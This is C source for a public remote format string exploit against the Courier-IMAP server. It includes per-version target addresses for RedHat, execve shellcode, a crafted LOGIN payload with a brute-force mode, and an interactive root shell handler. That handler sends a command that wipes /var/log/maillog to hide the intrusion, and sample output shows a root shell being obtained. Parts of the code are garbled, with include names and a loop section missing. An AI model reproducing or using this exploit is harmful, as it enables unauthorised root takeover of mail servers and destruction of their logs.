/* ** ** c0ur1er_ctrl.c - Courier-IMAP remote format string exploit ** Public version - 2004/09/04 ** ** Tested on RedHat Linux with courier-imap all version. ** (Also, all version Linux, XxxxBSD box) ** ** -- ** exploit by anonymous */ /* ** [x82@:pPppPpPPPPP /tmp]$ gcc -o c0ur1er_ctrl c0ur1er_ctrl.c ** [x82@:pPppPpPPPPP /tmp]$ ./c0ur1er_ctrl -t2 ** ** c0ur1er_ctrl.c - Courier-IMAP remote format string exploit ** anonymous, szoahc(at)hotmail(dot)com ** ** [*] Target RedHat Linux release 6.x courier-imap-1.7.0. ** ** [*] Trying localhost:143... ** [!] default mode. ** [*] flags: 312, got: 0x804ef80, shell: 0x804f97c ** [*] send code. ** [!] x82 was here ! ** [*] Executed shell successfully ! ** [*] OK, It's Rootshell ** ** Linux :pPppPpPPPPP 2.2.12-20kr #1 Tue Oct 12 16:46:36 KST 1999 i686 unknown ** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) ** exit ** ** [*] Happy Exploit ! ** ** [x82@:pPppPpPPPPP /tmp]$ ** ** -- ** Greets: Fernando Quintero */ #include #include #include #include #include #define HOST "localhost" #define PORT 143 #define SBUF 256 #define MBUF 1024 #define M4BUF 4096 #define MXBUF 0xffff #define GAP_BUF 0x300 struct os { int num; char *os_t; unsigned long got; unsigned long shell; int flag; }; struct os plat[]={ { 0,"RedHat Linux release 6.x courier-imap-1.6.0, 1.6.1.\n", 0x0804ef40 /* GOT */,0x0804f97c,312 }, { 1,"RedHat Linux release 6.x courier-imap-1.6.2.\n", 0x0804ef60 /* GOT */,0x0804f97c,312 }, { 2,"RedHat Linux release 6.x courier-imap-1.7.0.\n", 0x0804ef80 /* GOT */,0x0804f97c,312 }, { 3,"RedHat Linux release 6.x courier-imap-1.7.1.\n", 0x0804f3c0 /* GOT */,0x0804f97c,312 }, { 4,"RedHat Linux release 6.x courier-imap-1.7.2, 1.7.3.\n", 0x0804f3f0 /* .dtors */,0x0804f97c,312 }, { 5,"RedHat Linux release 6.x courier-imap-2.0.0.\n", 0x0804f5f0 /* .dtors */,0x0804f97c,312 }, { 6,"RedHat Linux release 6.x courier-imap-2.1.0, 2.1.1, 2.1.2, 2.2.0, 2.2.1.\n", 0x0804f680 /* GOT */,0x0804f97c,312 }, { 7,"RedHat Linux release 6.x courier-imap-3.0.0, 3.0.1, 3.0.2, 3.0.3.\n", 0x0804f6c0 /* GOT */,0x0804f97c,312 }, { 8,"RedHat Linux release 7.0 courier-imap-1.6.0, 1.6.1.\n", 0x0804f4f0 /* .dtors */,0x08050140,323 }, { 9,"RedHat Linux release 7.0 courier-imap-1.6.2.\n", 0x0804f540 /* GOT */,0x08050140,323 }, { 10,"RedHat Linux release 7.0 courier-imap-1.7.0.\n", 0x0804f560 /* GOT */,0x08050140,323 }, { 11,"RedHat Linux release 7.0 courier-imap-1.7.1.\n", 0x0804f9d0 /* .dtors */,0x08050140,323 }, { 12,"RedHat Linux release 7.0 courier-imap-1.7.2, 1.7.3.\n", 0x0804fa60 /* GOT */,0x08050140,323 }, { 13,"RedHat Linux release 7.0 courier-imap-2.0.0.\n", 0x0804fcc0 /* GOT */,0x08050140,323 }, { 14,"RedHat Linux release 7.0 courier-imap-2.1.0, 2.1.1, 2.1.2, 2.2.0, 2.2.1.\n", 0x0804fd40 /* GOT */,0x08050140,323 }, { 15,"RedHat Linux release 7.0 courier-imap-3.0.0, 3.0.1, 3.0.2, 3.0.3.\n", 0x0804fd60 /* GOT */,0x08050140,323 }, { 16,"RedHat Linux release 9.0 courier-imap-1.6.0, 1.6.1.\n", 0x0804f554 /* .dtors */,0x0804f688,327 }, { 17,"RedHat Linux release 9.0 courier-imap-1.6.2.\n", 0x0804f574 /* .dtors */,0x0804f688,327 }, { 18,"RedHat Linux release 9.0 courier-imap-1.7.0.\n", 0x0804f594 /* .dtors */,0x0804f688,327 }, { 19,"RedHat Linux release 9.0 courier-imap-1.7.1.\n", 0x0804faf8 /* free */,0x0804fb98,327 }, { 20,"RedHat Linux release 9.0 courier-imap-1.7.2, 1.7.3.\n", 0x0804facc, /* GOT+4 */0x0804fbc4,327 }, { 21,"RedHat Linux release 9.0 courier-imap-2.0.0.\n", 0x0804fccc, /* GOT+4 */0x080556c0,327 }, { 22,"RedHat Linux release 9.0 courier-imap-2.1.0, 2.1.1, 2.1.2, 2.2.0, 2.2.1.\n", 0x0804fd4c /* GOT+4 */,0x08050048,327 }, { 23,"RedHat Linux release 9.0 courier-imap-3.0.0, 3.0.1, 3.0.2, 3.0.3.\n", 0x0804f294 /* .dtors */,0x0804f5c8,327 }, { 82,"Test", 0,0,0 } }; unsigned char atk_bf[MXBUF]; char shellcode_bf[M4BUF*2], shellcode[]= /* 24byte short code */ "\x31\xc0" // xorl %eax,%eax "\x50" // pushl %eax "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f "\x89\xe3" // movl %esp,%ebx "\x99" // cltd "\x52" // pushl %edx "\x53" // pushl %ebx "\x89\xe1" // movl %esp,%ecx "\xb0\x0b" // movb $0xb,%al "\xcd\x80"; // int $0x80 void banrl(); int mk_f(u_long retloc,u_long shaddr,int flag); int setsock(char *hostname, int port); void usage(char *argument); void re_connt(int sock); void exect_sh(int sock); int bs_sn(char *b); int __exp_chk(char *host,int port); void banrl() { fprintf(stdout,"\n c0ur1er_ctrl.c - Courier-IMAP remote format string exploit\n"); fprintf(stdout," anonymous, szoahc(at)hotmail(dot)com\n\n"); } void usage(char *argument) { int chk; fprintf(stdout," Usage: %s -option arguments\n\n",argument); fprintf(stdout,"\t -d [min] - delay time.\n"); fprintf(stdout,"\t -b - brute-force mode.\n"); fprintf(stdout,"\t -r [addr] - retloc address.\n"); fprintf(stdout,"\t -s [addr] - shellcode address.\n"); fprintf(stdout,"\t -f [num] - flag number.\n"); fprintf(stdout,"\t -h [host] - hostname or, IP.\n"); fprintf(stdout,"\t -u - help information.\n"); fprintf(stdout,"\t -q - banner scan mode.\n"); fprintf(stdout,"\t -c - check exploit test.\n"); fprintf(stdout,"\t -t [num] - type number.\n\n"); for(chk=0;plat[chk].got;chk++) { fprintf(stdout," {%d} :\t%s",plat[chk].num,plat[chk].os_t); } fprintf(stdout,"\n Example: %s -t0 -h127.0.0.1 -b -f200\n\n",argument); exit(-1); } int main(int argc,char *argv[]) { int a,b; int sock; int type=0; int port=PORT; int __bf=0; int __bs=0; int __exp_t=0; int delay_time=(3); /* default delay */ int flag=plat[type].flag; /* default flag */ extern char *optarg; char buf[MBUF]; char host[SBUF]=HOST; unsigned long retloc=plat[type].got; /* default got */ unsigned long shaddr=plat[type].shell; /* default shell */ (void)banrl(); while((a=getopt(argc,argv,"QqCcD:d:BbR:r:S:s:F:f:H:h:T:t:Uu"))!=EOF) { switch(a) { case 'Q': case 'q': __bs=1; break; case 'C': case 'c': __exp_t=1; break; case 'D': case 'd': delay_time=atoi(optarg); break; case 'B': case 'b': __bf=1; break; case 'R': case 'r': retloc=strtoul(optarg,NULL,0); break; case 'S': case 's': shaddr=strtoul(optarg,NULL,0); break; case 'F': case 'f': flag=atoi(optarg); break; case 'H': case 'h': memset((char *)host,0,sizeof(host)); strncpy(host,optarg,sizeof(host)-1); break; case 'T': case 't': if((type=atoi(optarg))>=(82)) (void)usage(argv[0]); else { retloc=plat[type].got; shaddr=plat[type].shell; flag=plat[type].flag; } break; case 'U': case 'u': (void)usage(argv[0]); break; case '?': (void)usage(argv[0]); break; } } fprintf(stdout," [*] Target %s\n",plat[type].os_t); fprintf(stdout," [*] Trying %s:%d...\n",host,port); memset((char *)shellcode_bf,0,sizeof(shellcode_bf)); for(a=0;a<(M4BUF+MBUF)-strlen(shellcode);a++) shellcode_bf[a]='N'; for(b=0;b>8)&0xff)==(0x0a))\ addr+=0x00000100;\ if(((addr>>0)&0xff)==(0x0a))\ addr+=4;\ if(((addr>>8)&0xff)==(0x00))\ addr+=0x00000100;\ if(((addr>>0)&0xff)==(0x00))\ addr+=4;\ if(((addr>>8)&0xff)==(0x20))\ addr+=0x00000100;\ if(((addr>>0)&0xff)==(0x20))\ addr+=4;\ } fprintf(stdout," [!] Brute-Force mode.\n"); shaddr=retloc+(GAP_BUF); /* default */ CHECK(shaddr); for(;flag<400;flag++) { sleep(delay_time); fprintf(stdout," [*] flags: %d, got: %p, shell: %p (retloc+%p)\n",flag,retloc,shaddr,(GAP_BUF)); (int)mk_f((u_long)retloc,(u_long)shaddr,(int)flag); fprintf(stdout," [*] send code.\n"); sock=setsock(host,port); (void)re_connt(sock); memset((char *)buf,0,sizeof(buf)); recv(sock,buf,sizeof(buf)-1,0); if(__bs) { if(((int)bs_sn(buf))==-1) { fprintf(stdout," [-] exploit stop.\n\n"); exit(-1); } } send(sock,atk_bf,strlen(atk_bf),0); /* confirm, execute cmd */ #define CMD_CHK "x82 was here" sleep(1); exect_sh(sock); close(sock); continue; } } else { #if 0 shaddr=retloc+(GAP_BUF); /* default */ CHECK(shaddr); #endif fprintf(stdout," [!] default mode.\n"); fprintf(stdout," [*] flags: %d, got: %p, shell: %p\n",flag,retloc,shaddr); (int)mk_f((u_long)retloc,(u_long)shaddr,(int)flag); fprintf(stdout," [*] send code.\n"); sock=setsock(host,port); (void)re_connt(sock); // debugging sleep time sleep(delay_time); memset((char *)buf,0,sizeof(buf)); recv(sock,buf,sizeof(buf)-1,0); if(__bs) { if(((int)bs_sn(buf))==-1) { fprintf(stdout," [-] exploit stop.\n\n"); exit(-1); } } send(sock,atk_bf,strlen(atk_bf),0); sleep(1); exect_sh(sock); close(sock); } exit(-1); } int mk_f(u_long retloc,u_long shaddr,int flag) { unsigned char head[SBUF]; int a,b,c,d,e; int a1,a2,a3,a4; a=b=c=d=e=0; a1=a2=a3=a4=0; memset((u_char *)head,0,sizeof(head)); memset((u_char *)atk_bf,0,sizeof(atk_bf)); #if 1 #define RNP(v,sh,ft) {\ v=((sh)>>(ft))&0xff;\ } #define X_X(a,b,c,d,shaddr) {\ RNP(a,shaddr,24);\ RNP(b,shaddr,16);\ RNP(c,shaddr,8);\ RNP(d,shaddr,0);\ } #endif X_X(a,b,c,d,shaddr); X_X(a1,a2,a3,a4,shaddr); if((a4-(9))<10) d+=0x00000100; if((a3-a4)<10) c+=0x00000100; if((a2-a3)<10) b+=0x00000100; #if 1 #define MNP(__M,index,__wt) {\ *(long *)&__M[index]=__wt;\ index+=4;\ } #endif MNP(head,e,0x82828282); MNP(head,e,retloc+0x00000000); MNP(head,e,0x82828282); MNP(head,e,retloc+0x00000001); MNP(head,e,0x82828282); MNP(head,e,retloc+0x00000002); MNP(head,e,0x82828282); MNP(head,e,retloc+0x00000003); snprintf(atk_bf,sizeof(atk_bf)-1, "%s LOGIN " #if 1 "\"%%%d$%ux%%%d$n" "%%%d$%ux%%%d$n" "%%%d$%ux%%%d$n" "%%%d$%ux%%%d$n\"" #else /* test */ "\"%%%d$%ux%%%d$x" "%%%d$%ux%%%d$x" "%%%d$%ux%%%d$x" "%%%d$%ux%%%d$x\"" #endif " \"%s\"\r\n", head,flag+0x00000000,d-(9),flag+0x00000001,flag+0x00000002, c-a4,flag+0x00000003,flag+0x00000004,b-a3,flag+0x00000005, flag+0x00000006,0x00000100+a-a2,flag+0x00000007,shellcode_bf); } int __exp_chk(char *host,int port) { int sock; int recv_vl=0; char buf[MBUF]; sock=setsock(host,port); (void)re_connt(sock); fprintf(stdout,"\n [+] Check exploit test.\n"); memset((char *)buf,0,sizeof(buf)); recv(sock,buf,sizeof(buf)-1,0); #define CHK_STR "1 LOGIN %s%s%hn%hn%n%n %s%s%hn%hn%n%n\r\n" send(sock,(CHK_STR),strlen(CHK_STR),0); #define CHK_NOR "1 NO Login failed." memset((char *)buf,0,sizeof(buf)); recv_vl=recv(sock,buf,sizeof(buf)-1,0); if(strstr(buf,(CHK_NOR))) { fprintf(stdout," [X] After test exploit, imap daemon is alive.\n"); return -1; } else if(recv_vl<=0) { fprintf(stdout," [*] OK, This is vulnerable version.\n\n"); return 1; } else return -1; } void re_connt(int sock) { if(sock==-1) { fprintf(stdout," [-] Failed.\n\n"); exit(-1); } } int setsock(char *hostname,int port) { int sock; struct hostent *he; struct sockaddr_in x82_addr; if((he=gethostbyname(hostname))==NULL) { herror(" [-] gethostbyname() error"); return(-1); } if((sock=socket(AF_INET,SOCK_STREAM,0))==EOF) { perror(" [-] socket() error"); return(-1); } x82_addr.sin_family=AF_INET; x82_addr.sin_port=htons(port); x82_addr.sin_addr=*((struct in_addr *)he->h_addr); bzero(&(x82_addr.sin_zero),8); if(connect(sock,(struct sockaddr *)&x82_addr,sizeof(struct sockaddr))==EOF) { perror(" [-] connect() error"); return(-1); } return(sock); } int bs_sn(char *b) { fprintf(stdout,"\n [+] Check banner.\n"); if(strstr(b,"Courier-IMAP ready.")) { fprintf(stdout," [*] OK, This is version that exploit is possible.\n\n"); return 1; } else { fprintf(stdout," [x] Thie version does not support exploit.\n"); return -1; } } void exect_sh(int sock) { int pckt; int chk=0; char *cmd="echo 'x82 was here';uname -a;id;export TERM=vt100;> /var/log/maillog;\n"; char rbuf[1024]; fd_set rset; memset((char *)rbuf,0,1024); send(sock,cmd,strlen(cmd),0); while(1) { fflush(stdout); FD_ZERO(&rset); FD_SET(sock,&rset); FD_SET(STDIN_FILENO,&rset); select(sock+1,&rset,NULL,NULL,NULL); if(FD_ISSET(sock,&rset)) { pckt=read(sock,rbuf,1024); if(!chk&&strstr(rbuf,CMD_CHK)) { fprintf(stdout," [!] %s !\n",CMD_CHK); fprintf(stdout," [*] Executed shell successfully !\n"); fprintf(stdout," [*] OK, It's Rootshell\n\n"); chk++; } if(pckt<=0) { fprintf(stdout,"\n [*] Happy Exploit !\n\n"); close(sock); if(!chk) return; else exit(0); } rbuf[pckt]=0; fprintf(stdout,"%s",rbuf); } if(FD_ISSET(STDIN_FILENO,&rset)) { pckt=read(STDIN_FILENO,rbuf,1024); if(pckt>0) { rbuf[pckt]=0; write(sock,rbuf,pckt); } } } return; } /* eoc */